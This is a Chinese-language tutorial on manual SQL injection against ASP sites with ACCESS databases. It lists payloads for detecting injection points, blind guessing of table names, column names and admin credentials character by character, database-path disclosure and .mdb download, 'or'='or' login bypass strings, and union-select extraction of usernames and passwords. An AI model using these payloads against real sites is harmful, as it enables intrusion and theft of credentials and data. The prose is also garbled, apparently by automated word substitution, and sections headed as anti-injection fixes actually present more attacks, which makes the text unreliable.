ACCESS手工注入方法,方便大家测试注入点

1、参加单引号 ’提交,

结果:就算出现错误提醒,则该网站或者就存在注入漏洞。

2、数字型判断是否有注入; 语句:and 1=1 ;and 1=2 (经典)、’ and
‘1’=1(字符型)

结果:分别再次回到不同的页面,表达存在注入漏洞.

剖析:and 的意趣是“和”倘使没有过滤大家的言语,and
1=1就会被代入SQL查询语句举办询问,
假设and前后的两条语句都是真的话就不会出错,但万一前后语句有一个为假的话,程序就会暴错。
也就注明程序有注入漏洞

防注入解决办法:

1>使用or 2>1 ; or 1>2来举办判断

结果:分别重返不同的页面,表明存在注入漏洞.

分析:or注入只要求前后多少个语句假若有一个科学就为真,假使前后五个语句都是不利的,反而为假。
记住:or注入时,or前面的话语如假若不易的,则赶回错误页面!如若是不当,则赶回正确页面
,表达存在注入点。

2> 使用xor 1=1; xor 1=2

结果:分别再次回到不同的页面,表达存在注入漏洞.

分析:xor 代表着异或,意思即连续的表明式仅有一个为确实时候才为真。
记住:xor注入时,xor后面的言辞即使是毋庸置疑的,则赶回错误页面积,虽然是不对,则赶回正确
页面,表达存在注入点。

3>把and 1=1转换成URL编码形式后在付出 and 1=1
URL编码:%41%4E%44%20%%31%3D%31

4>使用-1;-0

解析:如若回到的页面和后面不同,是另一则音信,则意味着有注入漏洞,是数字型的注入漏洞;在
URL地址前面加上 -0,URL变成
news.asp?id=123-0,重返的页面和前面的页面相同,加上-1,再次来到错误页面,则也意味着存在注入漏洞.

3、字符型判断是否有注入:

语句:’ and ‘1’=1;’ and ‘1=2(经典)

结果:分别重临不同的页面,表达存在注入漏洞.

分析:参加’ and ‘1’=1回来正确页面,插足’ and
‘1=2回去错误页面,表达有注入漏同。

防注入解决办法:

在URL的地方后边加上’%2B’(字符型)

剖析:URL地址变为:news.asp?id=123’%2B’,再次来到的页面和1同;加
上’2%2B’asdf,URL地址变为:news.asp?id=123’%2Basdf,再次回到的页面和1
不比,或者说未发现该条记录,或者不当,则意味存在注入点,是文本型的。

搜索型判断是否有注入:

简简单单的判断搜索型注入漏洞存在不设有的措施是先搜索’,假设出错,表达90%设有这一个漏洞。然后搜索%,假若正常重临,表达95%有洞了。

说明:加入如”&”、”[“、”]”、”%”、”$”、”@”等特殊字符,都得以兑现,如若出现错误,表明有题目。

操作:
搜索一个第一字,比如2006吧,正常重回所有2006息息相关的消息,再寻找2006%’and
1=1 and ‘%’=’和 2006%’and 1=2 and
‘%’=’,存在异议的话,就是100%有洞了。关键字%’ and 1=1 and ‘%’=’%
关键字%’ and 1=2 and ‘%’=’% 将and 1=1 换成注入语句就足以了

判定数据库类型:

and user>0

例如:showdetail.asp?id=49 ;and user>0
假如是ACCESS数据库,那么重回的不当里一般会有”Microsoft JET
Database”关键定,倘诺是MSSQL数 据库的话重临的谬误指示里一般会蕴藏”SQL
Server”关键了.

猜表名 and exists (select * from 表名)

表明:意思与地点一样,只是用的语名不雷同。

猜列名 and (select count(列名) from 表名)>0

表明:假诺我们输入的列名猜解正确否反回正常页面

猜长度 and (select top 1 len(username) from admin)>0

阐明:假若我们输入的末尾一位数据再次回到错误,而不当前一位数字再次回到正确,表达自己所猜解的尺寸
为正确。

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50
ascii码1-128

证实:假使我们输入的末段一位数据重回错误,而不当前一位数字再次回到正确,表达自身所猜解的数字正确。(可以拔取折半法猜内容)

折半法:最小值与最大值差的一半,比如输入50返正确,输入100回去错误,折半后输入75。

二种普遍爆库

1、%5c

2、conn.asp

%5c暴库 把二级目录中间的/换成%5c EY: otherweb … s.asp?BigClassName=职
责范围&BigClassType=1 万一您能见到:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。
确定路径名称拼写是否科学, 以及是否 连接到文件存放的服务器。
这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .

conn.asp暴库 这么些也是相比较老的纰漏,利用市值不大

广泛的:’or’=’or’万能密码登陆

’or’=’or’这是一个得以连接SQL的语名句.可以直接进入后台。我采访了一下。类似的还有
: ’or’’=’ ” or “a”=”a ’) or (’a’=’a “) or (“a”=”a or 1=1– ’ or ’ a’=’a
一个很老的拔取模式,重要用来一些相比较老的网站。

联合查询注入(union查询)

操作步骤:

1>在正常说话后台出席 and 1=2 union select * form
表名,其中*号表示字段数量,从1直接扩张 (and 1=2 union select
1,2,3,4 form 表名)假如字段数正确就会有暴错

2>在页面显示数字的地点用实际拿到的字段名代替,如:username,password.

3>在页面字段值处暴出真实的数据库字段值。

相关文章